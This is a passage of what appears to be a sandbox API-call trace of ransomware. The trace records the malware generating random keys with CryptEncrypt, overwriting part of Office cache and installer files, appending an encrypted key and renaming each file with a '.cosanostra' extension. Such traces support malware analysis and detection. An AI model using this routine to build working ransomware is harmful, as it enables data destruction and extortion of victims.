(lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.528] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eca0 | out: pbBuffer=0x251eca0) returned 1 [0107.528] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec98*=0x30) returned 1 [0107.528] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.528] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec98 | out: pbBuffer=0x251ec98) returned 1 [0107.528] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec90*=0x30) returned 1 [0107.528] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\onintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.528] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec98 | out: pbBuffer=0x251ec98) returned 1 [0107.528] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec90*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec90*=0x30) returned 1 [0107.528] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.529] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec90 | out: pbBuffer=0x251ec90) returned 1 [0107.529] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec88*=0x30) returned 1 [0107.529] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.529] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec90 | out: pbBuffer=0x251ec90) returned 1 [0107.529] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec88*=0x30) returned 1 [0107.529] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.529] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec88 | out: pbBuffer=0x251ec88) returned 1 [0107.529] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec80*=0x30) returned 1 [0107.529] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\mor6int.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.581] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec88 | out: pbBuffer=0x251ec88) returned 1 [0107.581] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec80*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec80*=0x30) returned 1 [0107.581] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0107.627] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91 [0107.627] StrStrW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch=".txt") returned 0x0 [0108.096] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.097] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec44, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ec44*=0x2800, lpOverlapped=0x0) returned 1 [0108.102] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.102] WriteFile (in: hFile=0x160, lpBuffer=0x251ec84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec44, lpOverlapped=0x0 | out: lpBuffer=0x251ec84*, lpNumberOfBytesWritten=0x251ec44*=0x4, lpOverlapped=0x0) returned 1 [0108.119] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec44, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec44*=0x30, lpOverlapped=0x0) returned 1 [0108.120] CloseHandle (hObject=0x160) returned 1 [0108.120] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.cosanostra") returned 102 [0108.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.cosanostra")) returned 1 [0108.124] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec80 | out: pbBuffer=0x251ec80) returned 1 [0108.124] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec78*=0x30) returned 1 [0108.124] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0108.125] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0108.125] StrStrW (lpFirst="osetup.dll", lpSrch=".txt") returned 0x0 [0108.127] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.127] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec3c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251ec3c*=0x2800, lpOverlapped=0x0) returned 1 [0108.127] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.127] WriteFile (in: hFile=0x160, lpBuffer=0x251ec7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec3c, lpOverlapped=0x0 | out: lpBuffer=0x251ec7c*, lpNumberOfBytesWritten=0x251ec3c*=0x4, lpOverlapped=0x0) returned 1 [0108.130] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec3c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec3c*=0x30, lpOverlapped=0x0) returned 1 [0108.130] CloseHandle (hObject=0x160) returned 1 [0108.207] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.cosanostra") returned 88 [0108.207] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.cosanostra")) returned 1 [0108.208] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec80 | out: pbBuffer=0x251ec80) returned 1 [0108.208] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec78*=0x30) returned 1 [0108.208] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.209] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec78 | out: pbBuffer=0x251ec78) returned 1 [0108.209] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec70*=0x30) returned 1 [0108.209] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.211] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec70 | out: pbBuffer=0x251ec70) returned 1 [0108.211] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec68*=0x30) returned 1 [0108.211] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0108.212] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0108.212] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0108.230] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.230] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec2c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ec2c*=0x2800, lpOverlapped=0x0) returned 1 [0108.230] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.230] WriteFile (in: hFile=0x110, lpBuffer=0x251ec6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec2c, lpOverlapped=0x0 | out: lpBuffer=0x251ec6c*, lpNumberOfBytesWritten=0x251ec2c*=0x4, lpOverlapped=0x0) returned 1 [0108.252] WriteFile (in: hFile=0x110, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec2c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec2c*=0x30, lpOverlapped=0x0) returned 1 [0108.252] CloseHandle (hObject=0x110) returned 1 [0108.253] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0108.253] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0108.254] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec70 | out: pbBuffer=0x251ec70) returned 1 [0108.254] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec68*=0x30) returned 1 [0108.254] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0108.256] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 78 [0108.256] StrStrW (lpFirst="ProPrWW.cab", lpSrch=".txt") returned 0x0 [0108.348] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.348] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec2c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ec2c*=0x2800, lpOverlapped=0x0) returned 1 [0108.348] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.348] WriteFile (in: hFile=0x110, lpBuffer=0x251ec6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec2c, lpOverlapped=0x0 | out: lpBuffer=0x251ec6c*, lpNumberOfBytesWritten=0x251ec2c*=0x4, lpOverlapped=0x0) returned 1 [0108.369] WriteFile (in: hFile=0x110, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec2c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec2c*=0x30, lpOverlapped=0x0) returned 1 [0108.370] CloseHandle (hObject=0x110) returned 1 [0108.381] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.cosanostra") returned 89 [0108.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.cosanostra")) returned 1 [0108.382] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec68 | out: pbBuffer=0x251ec68) returned 1 [0108.382] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec60*=0x30) returned 1 [0108.382] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0108.383] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0108.383] StrStrW (lpFirst="PidGenX.dll", lpSrch=".txt") returned 0x0 [0108.412] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.412] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec24, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ec24*=0x2800, lpOverlapped=0x0) returned 1 [0108.412] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.412] WriteFile (in: hFile=0x110, lpBuffer=0x251ec64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec24, lpOverlapped=0x0 | out: lpBuffer=0x251ec64*, lpNumberOfBytesWritten=0x251ec24*=0x4, lpOverlapped=0x0) returned 1 [0108.420] WriteFile (in: hFile=0x110, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec24, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec24*=0x30, lpOverlapped=0x0) returned 1 [0108.420] CloseHandle (hObject=0x110) returned 1 [0108.441] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.cosanostra") returned 89 [0108.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.cosanostra")) returned 1 [0108.442] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec68 | out: pbBuffer=0x251ec68) returned 1 [0108.442] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec60*=0x30) returned 1 [0108.442] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0108.444] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 74 [0108.444] StrStrW (lpFirst="ose.exe", lpSrch=".txt") returned 0x0 [0108.458] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.458] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec24, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ec24*=0x2800, lpOverlapped=0x0) returned 1 [0108.458] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.458] WriteFile (in: hFile=0x110, lpBuffer=0x251ec64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ec24, lpOverlapped=0x0 | out: lpBuffer=0x251ec64*, lpNumberOfBytesWritten=0x251ec24*=0x4, lpOverlapped=0x0) returned 1 [0108.459] WriteFile (in: hFile=0x110, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ec24, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ec24*=0x30, lpOverlapped=0x0) returned 1 [0108.459] CloseHandle (hObject=0x110) returned 1 [0108.460] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.cosanostra") returned 85 [0108.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.cosanostra")) returned 1 [0108.460] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec60 | out: pbBuffer=0x251ec60) returned 1 [0108.461] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec58*=0x30) returned 1 [0108.461] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.461] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec60 | out: pbBuffer=0x251ec60) returned 1 [0108.461] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec58*=0x30) returned 1 [0108.461] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.461] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ec58 | out: pbBuffer=0x251ec58) returned 1 [0108.461] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ec50*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ec50*=0x30) returned 1 [0108.461] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110 [0108.462] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 89 [0108.462] StrStrW (lpFirst="AccLR.cab", lpSrch=".txt") returned 0x0 [0108.481] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.481] WriteFile (in: hFile=0x110, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ec14, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ec14*=0x2800, lpOverlapped=0x0) returned 